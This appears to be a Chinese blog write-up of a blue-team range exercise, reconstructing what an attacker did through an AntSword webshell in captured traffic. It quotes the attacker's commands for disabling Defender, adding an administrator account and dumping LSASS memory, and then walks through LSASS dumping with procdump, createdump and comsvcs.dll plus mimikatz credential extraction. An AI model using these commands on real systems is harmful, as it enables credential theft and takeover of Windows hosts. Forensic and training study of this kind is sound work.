分析:
1,现在有一段被getshell的流量,需要找出黑客都做了些什么。流量大概可以分成两种,http和tcp。先看http。
2,发现蚁剑流量,所以先把蚁剑的执行命令先全部找出来。
蚁剑流量过滤:
##(过滤请求包)
http.request.uri matches "product2.php.*" && http.request.method == "POST"
##(过滤请求包和回包)
(http.request.method == "POST" && http.request.uri matches "product2.php.*") || http.response
分析蚁剑流量命令:(shell是取命令参数第三个字符往后的字符串解码)
1.C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
2.C:/
3.cmd cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&ls&echo [S]&cd&echo [E] ls
4.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir&echo [S]&cd&echo [E] dir
5.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&whoami&echo [S]&cd&echo [E] whoami 返回vulntarget\win101
6.和第五个一样
7.cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&systeminfo&echo [S]&cd&echo [E] systeminfo
8.cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\&echo [S]&cd&echo [E]
(3412) cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]
(3483) cmd cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]
(3531) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net group "domain group" /domain&echo [S]&cd&echo [E]
(3759) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net group "domain admins" /domain&echo [S]&cd&echo [E]
(3867) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net view&echo [S]&cd&echo [E]
(3996) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net share&echo [S]&cd&echo [E]
(4069) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
(4250) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
(4282) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
(4568) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
(4969) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&ls&echo [S]&cd&echo [E]
(4979) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir&echo [S]&cd&echo [E]
(4989) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"© store.php c:\temp&echo [S]&cd&echo [E]
(4999) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
(5598) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
(5622) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRealtimeMonitoring $true&echo [S]&cd&echo [E]
(5674) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&powershell -ep bypass Get-MpComputerStatus&echo [S]&cd&echo [E]
(5922) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
(6228) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
(6944) C:/Temp/OnlineShopBack.zip
(14967) cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&dir c:\windows\system32&echo [S]&cd&echo [E]
(15029) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&dir c:\windows\config&echo [S]&cd&echo [E]
(15146) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]
(15190) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]
(15222) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators admin /add&echo [S]&cd&echo [E]
(15235) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net user&echo [S]&cd&echo [E]
(15248) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]
(15274) cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&whoami /all&echo [S]&cd&echo [E]
3,把所有命令都找出来了,发现它添加了一个admin用户,并且把它放进了administrater中,
还执行了一些命令,需要看看到底是什么命令。命令含义问了GPT大概知道了,但是没用,每个HTTP的POST对应的回包都看了,但是没什么收获。
没啥思路了,看到有SMB2协议,可能是从里面下手。SMB2协议就不会了,只知道可以从里面拿加密信息去爆破用户密码。看WP吧。
解题:
1:flag1解出来了,在黑客执行的蚁剑命令中,cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]
flag{Password1}
2:flag2是命令cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
其中的852就是进程号,这里需要了解rundll32和miniDump函数的内存转储文件功能,就好理解了。
flag{852}
3:flag3
看了WP思路猜错了,对比原本思路,可以深入的点是,1.对执行的命令的详细分析程度还不够,如果足够详细,那么就能发现lsass进程号,2.转储文件早看到了,以为在wireshark里可以导出,但是文件名没找到我就没管它,结果发现文件名是product2.php,因为请求是http://10.0.10.99/onlineshop/product2.php,然后命令执行下载的OnlineShopBackup.zip,所以wireshark会把文件名命名为product2.php...
还有lsass进程是个特殊的进程,lsass是Windows系统的安全机制,我们登录系统输入的密码会保存在lsass进程内存中,它经过wdigest和tspkg两个模块,使用可逆的算法进行加密后存储在内存中。所以使用rundll32直接执行comsvcs.dll的导出函数MiniDump来Dump进程内存。得到内存转储文件后,用分析爆破软件对其中的密码进行爆破,即可得到最后一个flag的答案。
rundll32.exe:用于调用和执行 DLL 文件中的函数的 Windows 系统程序。
comsvcs.dll: 是一个系统 DLL 文件,`MiniDump` 是该 DLL 提供的一个功能,用于创建系统状态的转储文件。
那么接下来就是对于转储文件的分析爆破了。
首先自己本地实现一下整个步骤:
手动DMP:
工具DMP:
procexp64:
procdump64:
工具地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
comsvcs.dll:
无论是cmd还是powershell都是要管理员权限执行判断SeDebugPrivilege特权才有回显。
# 查看lsass.exe 的PID号
tasklist /svc | findstr lsass.exe
# 管理员权限
# Procdump 抓取lsass进程dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass_dump
# 通过lsass的pid抓取
procdump64.exe -accepteula -ma pid lsass_dump
# createdump.exe抓取dmp
createdump.exe -u -f lsass.dmp lsass[PID]
# comsvcs.dll获取dmp
# 需要保证当前会话已经启用SeDebugPrivilege特权
# cmd本身会禁用该特权,powershell默认开启
# 判断cmd是否开启
whoami /priv | findstr SeDebugPrivilege
# 判断powershell是否开启
powershell whoami /priv | findstr SeDebugPrivilege
rundll32.exe comsvcs.dll, MiniDump lsass[PID] lsass.dmp full
参考:
https://blog.csdn.net/qq_55202378/article/details/140419202
https://mp.weixin.qq.com/s/KgkilGEUmle5P_KvzAjDmw
https://zhuanlan.zhihu.com/p/101328722
https://blog.csdn.net/qq_37103755/article/details/127966328
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
拿到DMP后,可以看到区别:
因为是蚁剑流量,前后都有混淆随机字符串,都得去掉,同时解密请求包也可以发现多余的字符串:
更改特征一样之后用mimikatz
sekurlsa::minidump C:\\Desktop\mimikatz_trunk\Win32\test.dmp
sekurlsa::logonpasswords
这里我就不花钱了。
flag{admin#123}
收获理解:
1:原本Windows系统中保存密码相关的文件是SAM文件,静态的,SYSTEM文件中含有加密密钥对SAM整体进行了加密,且整体加密下,还有SYSkey模块对密码哈希进行了额外加密,整体对密码哈希进行了两层加密。所以如果离线导出SAM文件进行破解获取NTLM,那么SYSTEM也需要导出。如果在线读取SAM中的密码哈希,那么需要mimikatz提升权限到system,然后用syskey进行解密获取即可。如果有内存转储文件,因为内存中的肯定是明文,所以mimikatz直接读取dmp即可。
另外询问AI后得知,Windows8.1版本之后不使用syskey加密了,不知道真假。
2:这段流量中黑客进行的操作就是上传shell后,内存转储lsass进程,然后下载流量,mimikatz进行用户的NTLM获取,最后去破解对应的NTLM即可拿到用户的密码。
标签:WWW,蓝队,cd,PHPTutorial,phpStudy,靶场,echo,44,onlineshop From: https://www.cnblogs.com/blue-red/p/18397796